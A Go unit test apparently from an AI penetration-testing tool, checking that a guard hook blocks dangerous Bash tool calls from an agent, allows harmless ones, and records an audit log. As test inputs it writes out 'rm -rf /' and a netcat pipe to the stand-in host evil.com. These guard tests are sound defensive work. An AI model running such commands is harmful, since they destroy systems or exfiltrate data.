Autumn-27andClaude Opus 4.8
0ef8561411
ARTEX — AI 自主渗透测试系统（Go 后端 + Next.js 前端，单二进制内嵌）。 Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
39 lines
887 B
Go
39 lines
887 B
Go
package guard
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"github.com/Autumn-27/norma/hook"
|
|
)
|
|
|
|
func TestPreToolUseGating(t *testing.T) {
|
|
g := New()
|
|
|
|
block := func(cmd string) (bool, string) {
|
|
input, _ := json.Marshal(map[string]string{"command": cmd})
|
|
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
|
return b, msg
|
|
}
|
|
|
|
if b, _ := block(`curl https://acme.com/`); b {
|
|
t.Error("ordinary network command should be allowed")
|
|
}
|
|
if b, _ := block(`rm -rf /`); !b {
|
|
t.Error("destructive command should be blocked")
|
|
}
|
|
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
|
|
t.Error("exfil pipe should be blocked")
|
|
}
|
|
if b, _ := block(`ls -la`); b {
|
|
t.Error("non-network command should be allowed")
|
|
}
|
|
// audit recorded both allows and blocks
|
|
if len(g.Audit()) == 0 {
|
|
t.Error("audit should record gated calls")
|
|
}
|
|
}
|
|
|
|
var _ = hook.PreToolUse
|